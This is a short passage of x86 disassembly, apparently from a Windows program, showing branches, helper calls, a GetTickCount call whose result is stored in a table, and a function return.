jne 0x47778d
push esi
call fcn.004070ac
pop ecx
jmp 0x4777fc
mov eax, ebp
sub eax, 4
jae 0x4777f7
mov eax, dword [ebp*4 + 0x65a984]
mov edx, esi
call fcn.00423d70
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [ebp*4 + 0x65a984]
mov dword [edx + 4], eax
jmp 0x4777fc
mov ebp, 0xfffffffe
mov eax, ebp
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret